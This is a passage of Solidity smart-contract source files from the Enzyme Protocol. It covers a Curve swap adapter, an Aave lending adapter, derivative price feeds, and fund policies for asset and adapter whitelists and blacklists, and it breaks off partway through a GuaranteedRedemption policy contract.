IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address pool,
address outgoingAsset,
uint256 outgoingAssetAmount,
address incomingAsset,
uint256 minIncomingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
require(pool != address(0), "parseAssetsForMethod: No pool address provided");
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on Curve
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata
) external onlyIntegrationManager {
(
address pool,
address outgoingAsset,
uint256 outgoingAssetAmount,
address incomingAsset,
uint256 minIncomingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
address swaps = ICurveAddressProvider(ADDRESS_PROVIDER).get_address(2);
__takeOrder(
_vaultProxy,
swaps,
pool,
outgoingAsset,
outgoingAssetAmount,
incomingAsset,
minIncomingAssetAmount
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the take order encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address pool_,
address outgoingAsset_,
uint256 outgoingAssetAmount_,
address incomingAsset_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, address, uint256, address, uint256));
}
/// @dev Helper to execute takeOrder. Avoids stack-too-deep error.
function __takeOrder(
address _vaultProxy,
address _swaps,
address _pool,
address _outgoingAsset,
uint256 _outgoingAssetAmount,
address _incomingAsset,
uint256 _minIncomingAssetAmount
) private {
if (_outgoingAsset == WETH_TOKEN) {
IWETH(WETH_TOKEN).withdraw(_outgoingAssetAmount);
ICurveSwapsEther(_swaps).exchange{value: _outgoingAssetAmount}(
_pool,
ETH_ADDRESS,
_incomingAsset,
_outgoingAssetAmount,
_minIncomingAssetAmount,
_vaultProxy
);
} else if (_incomingAsset == WETH_TOKEN) {
__approveMaxAsNeeded(_outgoingAsset, _swaps, _outgoingAssetAmount);
ICurveSwapsERC20(_swaps).exchange(
_pool,
_outgoingAsset,
ETH_ADDRESS,
_outgoingAssetAmount,
_minIncomingAssetAmount,
address(this)
);
// wrap received ETH and send back to the vault
uint256 receivedAmount = payable(address(this)).balance;
IWETH(payable(WETH_TOKEN)).deposit{value: receivedAmount}();
ERC20(WETH_TOKEN).safeTransfer(_vaultProxy, receivedAmount);
} else {
__approveMaxAsNeeded(_outgoingAsset, _swaps, _outgoingAssetAmount);
ICurveSwapsERC20(_swaps).exchange(
_pool,
_outgoingAsset,
_incomingAsset,
_outgoingAssetAmount,
_minIncomingAssetAmount,
_vaultProxy
);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_PROVIDER` variable
/// @return addressProvider_ The `ADDRESS_PROVIDER` variable value
function getAddressProvider() external view returns (address addressProvider_) {
return ADDRESS_PROVIDER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveSwapsERC20 Interface
/// @author Enzyme Council <[email protected]>
interface ICurveSwapsERC20 {
function exchange(
address,
address,
address,
uint256,
uint256,
address
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveSwapsEther Interface
/// @author Enzyme Council <[email protected]>
interface ICurveSwapsEther {
function exchange(
address,
address,
address,
uint256,
uint256,
address
) external payable returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../IDerivativePriceFeed.sol";
import "./SingleUnderlyingDerivativeRegistryMixin.sol";
/// @title PeggedDerivativesPriceFeedBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed base for multiple derivatives that are pegged 1:1 to their underlyings,
/// and have the same decimals as their underlying
abstract contract PeggedDerivativesPriceFeedBase is
IDerivativePriceFeed,
SingleUnderlyingDerivativeRegistryMixin
{
constructor(address _dispatcher) public SingleUnderlyingDerivativeRegistryMixin(_dispatcher) {}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
address underlying = getUnderlyingForDerivative(_derivative);
require(underlying != address(0), "calcUnderlyingValues: Not a supported derivative");
underlyings_ = new address[](1);
underlyings_[0] = underlying;
underlyingAmounts_ = new uint256[](1);
underlyingAmounts_[0] = _derivativeAmount;
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return getUnderlyingForDerivative(_asset) != address(0);
}
/// @dev Provides validation that the derivative and underlying have the same decimals.
/// Can be overrode by the inheriting price feed using super() to implement further validation.
function __validateDerivative(address _derivative, address _underlying)
internal
virtual
override
{
require(
ERC20(_derivative).decimals() == ERC20(_underlying).decimals(),
"__validateDerivative: Unequal decimals"
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../utils/DispatcherOwnerMixin.sol";
/// @title SingleUnderlyingDerivativeRegistryMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice Mixin for derivative price feeds that handle multiple derivatives
/// that each have a single underlying asset
abstract contract SingleUnderlyingDerivativeRegistryMixin is DispatcherOwnerMixin {
event DerivativeAdded(address indexed derivative, address indexed underlying);
event DerivativeRemoved(address indexed derivative);
mapping(address => address) private derivativeToUnderlying;
constructor(address _dispatcher) public DispatcherOwnerMixin(_dispatcher) {}
/// @notice Adds derivatives with corresponding underlyings to the price feed
/// @param _derivatives The derivatives to add
/// @param _underlyings The corresponding underlyings to add
function addDerivatives(address[] memory _derivatives, address[] memory _underlyings)
external
virtual
onlyDispatcherOwner
{
require(_derivatives.length > 0, "addDerivatives: Empty _derivatives");
require(_derivatives.length == _underlyings.length, "addDerivatives: Unequal arrays");
for (uint256 i; i < _derivatives.length; i++) {
require(_derivatives[i] != address(0), "addDerivatives: Empty derivative");
require(_underlyings[i] != address(0), "addDerivatives: Empty underlying");
require(
getUnderlyingForDerivative(_derivatives[i]) == address(0),
"addDerivatives: Value already set"
);
__validateDerivative(_derivatives[i], _underlyings[i]);
derivativeToUnderlying[_derivatives[i]] = _underlyings[i];
emit DerivativeAdded(_derivatives[i], _underlyings[i]);
}
}
/// @notice Removes derivatives from the price feed
/// @param _derivatives The derivatives to remove
function removeDerivatives(address[] memory _derivatives) external onlyDispatcherOwner {
require(_derivatives.length > 0, "removeDerivatives: Empty _derivatives");
for (uint256 i; i < _derivatives.length; i++) {
require(
getUnderlyingForDerivative(_derivatives[i]) != address(0),
"removeDerivatives: Value not set"
);
delete derivativeToUnderlying[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
/// @dev Optionally allow the inheriting price feed to validate the derivative-underlying pair
function __validateDerivative(address, address) internal virtual {
// UNIMPLEMENTED
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the underlying asset for a given derivative
/// @param _derivative The derivative for which to get the underlying asset
/// @return underlying_ The underlying asset
function getUnderlyingForDerivative(address _derivative)
public
view
returns (address underlying_)
{
return derivativeToUnderlying[_derivative];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../release/infrastructure/price-feeds/derivatives/feeds/utils/PeggedDerivativesPriceFeedBase.sol";
/// @title TestSingleUnderlyingDerivativeRegistry Contract
/// @author Enzyme Council <[email protected]>
/// @notice A test implementation of PeggedDerivativesPriceFeedBase
contract TestPeggedDerivativesPriceFeed is PeggedDerivativesPriceFeedBase {
constructor(address _dispatcher) public PeggedDerivativesPriceFeedBase(_dispatcher) {}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../release/infrastructure/price-feeds/derivatives/feeds/utils/SingleUnderlyingDerivativeRegistryMixin.sol";
/// @title TestSingleUnderlyingDerivativeRegistry Contract
/// @author Enzyme Council <[email protected]>
/// @notice A test implementation of SingleUnderlyingDerivativeRegistryMixin
contract TestSingleUnderlyingDerivativeRegistry is SingleUnderlyingDerivativeRegistryMixin {
constructor(address _dispatcher) public SingleUnderlyingDerivativeRegistryMixin(_dispatcher) {}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../interfaces/IAaveProtocolDataProvider.sol";
import "./utils/PeggedDerivativesPriceFeedBase.sol";
/// @title AavePriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Aave
contract AavePriceFeed is PeggedDerivativesPriceFeedBase {
address private immutable PROTOCOL_DATA_PROVIDER;
constructor(address _dispatcher, address _protocolDataProvider)
public
PeggedDerivativesPriceFeedBase(_dispatcher)
{
PROTOCOL_DATA_PROVIDER = _protocolDataProvider;
}
function __validateDerivative(address _derivative, address _underlying) internal override {
super.__validateDerivative(_derivative, _underlying);
(address aTokenAddress, , ) = IAaveProtocolDataProvider(PROTOCOL_DATA_PROVIDER)
.getReserveTokensAddresses(_underlying);
require(
aTokenAddress == _derivative,
"__validateDerivative: Invalid aToken or token provided"
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `PROTOCOL_DATA_PROVIDER` variable value
/// @return protocolDataProvider_ The `PROTOCOL_DATA_PROVIDER` variable value
function getProtocolDataProvider() external view returns (address protocolDataProvider_) {
return PROTOCOL_DATA_PROVIDER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAaveProtocolDataProvider interface
/// @author Enzyme Council <[email protected]>
interface IAaveProtocolDataProvider {
function getReserveTokensAddresses(address)
external
view
returns (
address,
address,
address
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../infrastructure/price-feeds/derivatives/feeds/AavePriceFeed.sol";
import "../../../../interfaces/IAaveLendingPool.sol";
import "../../../../interfaces/IAaveLendingPoolAddressProvider.sol";
import "../utils/AdapterBase.sol";
/// @title AaveAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Aave Lending <https://aave.com/>
contract AaveAdapter is AdapterBase {
address private immutable AAVE_PRICE_FEED;
address private immutable LENDING_POOL_ADDRESS_PROVIDER;
uint16 private constant REFERRAL_CODE = 158;
constructor(
address _integrationManager,
address _lendingPoolAddressProvider,
address _aavePriceFeed
) public AdapterBase(_integrationManager) {
LENDING_POOL_ADDRESS_PROVIDER = _lendingPoolAddressProvider;
AAVE_PRICE_FEED = _aavePriceFeed;
}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "AAVE";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(address aToken, uint256 amount) = __decodeCallArgs(_encodedCallArgs);
// Prevent from invalid token/aToken combination
address token = AavePriceFeed(AAVE_PRICE_FEED).getUnderlyingForDerivative(aToken);
require(token != address(0), "parseAssetsForMethod: Unsupported aToken");
spendAssets_ = new address[](1);
spendAssets_[0] = token;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = amount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = aToken;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = amount;
} else if (_selector == REDEEM_SELECTOR) {
(address aToken, uint256 amount) = __decodeCallArgs(_encodedCallArgs);
// Prevent from invalid token/aToken combination
address token = AavePriceFeed(AAVE_PRICE_FEED).getUnderlyingForDerivative(aToken);
require(token != address(0), "parseAssetsForMethod: Unsupported aToken");
spendAssets_ = new address[](1);
spendAssets_[0] = aToken;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = amount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = token;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = amount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends an amount of a token to AAVE
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
) external onlyIntegrationManager {
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
address lendingPoolAddress = IAaveLendingPoolAddressProvider(LENDING_POOL_ADDRESS_PROVIDER)
.getLendingPool();
__approveMaxAsNeeded(spendAssets[0], lendingPoolAddress, spendAssetAmounts[0]);
IAaveLendingPool(lendingPoolAddress).deposit(
spendAssets[0],
spendAssetAmounts[0],
_vaultProxy,
REFERRAL_CODE
);
}
/// @notice Redeems an amount of aTokens from AAVE
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
) external onlyIntegrationManager {
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
address lendingPoolAddress = IAaveLendingPoolAddressProvider(LENDING_POOL_ADDRESS_PROVIDER)
.getLendingPool();
__approveMaxAsNeeded(spendAssets[0], lendingPoolAddress, spendAssetAmounts[0]);
IAaveLendingPool(lendingPoolAddress).withdraw(
incomingAssets[0],
spendAssetAmounts[0],
_vaultProxy
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode callArgs for lend and redeem
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (address aToken, uint256 amount)
{
return abi.decode(_encodedCallArgs, (address, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `AAVE_PRICE_FEED` variable
/// @return aavePriceFeed_ The `AAVE_PRICE_FEED` variable value
function getAavePriceFeed() external view returns (address aavePriceFeed_) {
return AAVE_PRICE_FEED;
}
/// @notice Gets the `LENDING_POOL_ADDRESS_PROVIDER` variable
/// @return lendingPoolAddressProvider_ The `LENDING_POOL_ADDRESS_PROVIDER` variable value
function getLendingPoolAddressProvider()
external
view
returns (address lendingPoolAddressProvider_)
{
return LENDING_POOL_ADDRESS_PROVIDER;
}
/// @notice Gets the `REFERRAL_CODE` variable
/// @return referralCode_ The `REFERRAL_CODE` variable value
function getReferralCode() external pure returns (uint16 referralCode_) {
return REFERRAL_CODE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAaveLendingPool interface
/// @author Enzyme Council <[email protected]>
interface IAaveLendingPool {
function deposit(
address,
uint256,
address,
uint16
) external;
function withdraw(
address,
uint256,
address
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAaveLendingPoolAddressProvider interface
/// @author Enzyme Council <[email protected]>
interface IAaveLendingPoolAddressProvider {
function getLendingPool() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../core/fund/comptroller/ComptrollerLib.sol";
import "../../../../core/fund/vault/VaultLib.sol";
import "../../../../utils/AddressArrayLib.sol";
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PostCallOnIntegrationValidatePolicyBase.sol";
/// @title AssetWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of assets in a fund's holdings
contract AssetWhitelist is PostCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
using AddressArrayLib for address[];
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyPolicyManager
{
require(
passesRule(_comptrollerProxy, VaultLib(_vaultProxy).getTrackedAssets()),
"activateForFund: Non-whitelisted asset detected"
);
}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
address[] memory assets = abi.decode(_encodedSettings, (address[]));
require(
assets.contains(ComptrollerLib(_comptrollerProxy).getDenominationAsset()),
"addFundSettings: Must whitelist denominationAsset"
);
__addToList(_comptrollerProxy, abi.decode(_encodedSettings, (address[])));
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ASSET_WHITELIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _assets The assets with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address[] memory _assets)
public
view
returns (bool isValid_)
{
for (uint256 i; i < _assets.length; i++) {
if (!isInList(_comptrollerProxy, _assets[i])) {
return false;
}
}
return true;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, , address[] memory incomingAssets, , , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, incomingAssets);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
/// @title AddressListPolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice An abstract mixin contract for policies that use an address list
abstract contract AddressListPolicyMixin {
using EnumerableSet for EnumerableSet.AddressSet;
event AddressesAdded(address indexed comptrollerProxy, address[] items);
event AddressesRemoved(address indexed comptrollerProxy, address[] items);
mapping(address => EnumerableSet.AddressSet) private comptrollerProxyToList;
// EXTERNAL FUNCTIONS
/// @notice Get all addresses in a fund's list
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @return list_ The addresses in the fund's list
function getList(address _comptrollerProxy) external view returns (address[] memory list_) {
list_ = new address[](comptrollerProxyToList[_comptrollerProxy].length());
for (uint256 i = 0; i < list_.length; i++) {
list_[i] = comptrollerProxyToList[_comptrollerProxy].at(i);
}
return list_;
}
// PUBLIC FUNCTIONS
/// @notice Check if an address is in a fund's list
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _item The address to check against the list
/// @return isInList_ True if the address is in the list
function isInList(address _comptrollerProxy, address _item)
public
view
returns (bool isInList_)
{
return comptrollerProxyToList[_comptrollerProxy].contains(_item);
}
// INTERNAL FUNCTIONS
/// @dev Helper to add addresses to the calling fund's list
function __addToList(address _comptrollerProxy, address[] memory _items) internal {
require(_items.length > 0, "__addToList: No addresses provided");
for (uint256 i = 0; i < _items.length; i++) {
require(
comptrollerProxyToList[_comptrollerProxy].add(_items[i]),
"__addToList: Address already exists in list"
);
}
emit AddressesAdded(_comptrollerProxy, _items);
}
/// @dev Helper to remove addresses from the calling fund's list
function __removeFromList(address _comptrollerProxy, address[] memory _items) internal {
require(_items.length > 0, "__removeFromList: No addresses provided");
for (uint256 i = 0; i < _items.length; i++) {
require(
comptrollerProxyToList[_comptrollerProxy].remove(_items[i]),
"__removeFromList: Address does not exist in list"
);
}
emit AddressesRemoved(_comptrollerProxy, _items);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../core/fund/comptroller/ComptrollerLib.sol";
import "../../../../core/fund/vault/VaultLib.sol";
import "../../../../utils/AddressArrayLib.sol";
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PostCallOnIntegrationValidatePolicyBase.sol";
/// @title AssetBlacklist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that disallows a configurable blacklist of assets in a fund's holdings
contract AssetBlacklist is PostCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
using AddressArrayLib for address[];
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyPolicyManager
{
require(
passesRule(_comptrollerProxy, VaultLib(_vaultProxy).getTrackedAssets()),
"activateForFund: Blacklisted asset detected"
);
}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
address[] memory assets = abi.decode(_encodedSettings, (address[]));
require(
!assets.contains(ComptrollerLib(_comptrollerProxy).getDenominationAsset()),
"addFundSettings: Cannot blacklist denominationAsset"
);
__addToList(_comptrollerProxy, assets);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ASSET_BLACKLIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _assets The assets with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address[] memory _assets)
public
view
returns (bool isValid_)
{
for (uint256 i; i < _assets.length; i++) {
if (isInList(_comptrollerProxy, _assets[i])) {
return false;
}
}
return true;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, , address[] memory incomingAssets, , , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, incomingAssets);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PreCallOnIntegrationValidatePolicyBase.sol";
/// @title AdapterWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of adapters for use by a fund
contract AdapterWhitelist is PreCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__addToList(_comptrollerProxy, abi.decode(_encodedSettings, (address[])));
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ADAPTER_WHITELIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _adapter The adapter with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _adapter)
public
view
returns (bool isValid_)
{
return isInList(_comptrollerProxy, _adapter);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address adapter, ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, adapter);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title CallOnIntegrationPreValidatePolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the PreCallOnIntegration policy hook
abstract contract PreCallOnIntegrationValidatePolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.PreCallOnIntegration;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedRuleArgs)
internal
pure
returns (address adapter_, bytes4 selector_)
{
return abi.decode(_encodedRuleArgs, (address, bytes4));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../utils/FundDeployerOwnerMixin.sol";
import "./utils/PreCallOnIntegrationValidatePolicyBase.sol";
/// @title GuaranteedRedemption Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that guarantees that shares will either be continuously redeemable or
/// redeemable within a predictable daily window by preventing trading during a configurable daily period
contract GuaranteedRedemption is PreCallOnIntegrationValidatePolicyBase, FundDeployerOwnerMixin {
using SafeMath for uint256;
event AdapterAdded(address adapter);
event AdapterRemoved(address adapter);
event FundSettingsSet(
address indexed comptrollerProxy,
uint256 startTimestamp,
uint256 duration
);
event RedemptionWindowBufferSet(uint256 prevBuffer, uint256 nextBuffer);
struct RedemptionWindow {
uint256 startTimestamp;
uint256 duration;
}
uint256 private constant ONE_DAY = 24 * 60 * 60;
mapping(address => bool) private adapterToCanBlockRedemption;
mapping(address => RedemptionWindow) private comptrollerProxyToRedemptionWindow;
uint256 private redemptionWindowBuffer;
constructor(
address _policyManager,
address _fundDeployer,
uint256 _redemptionWindowBuffer,
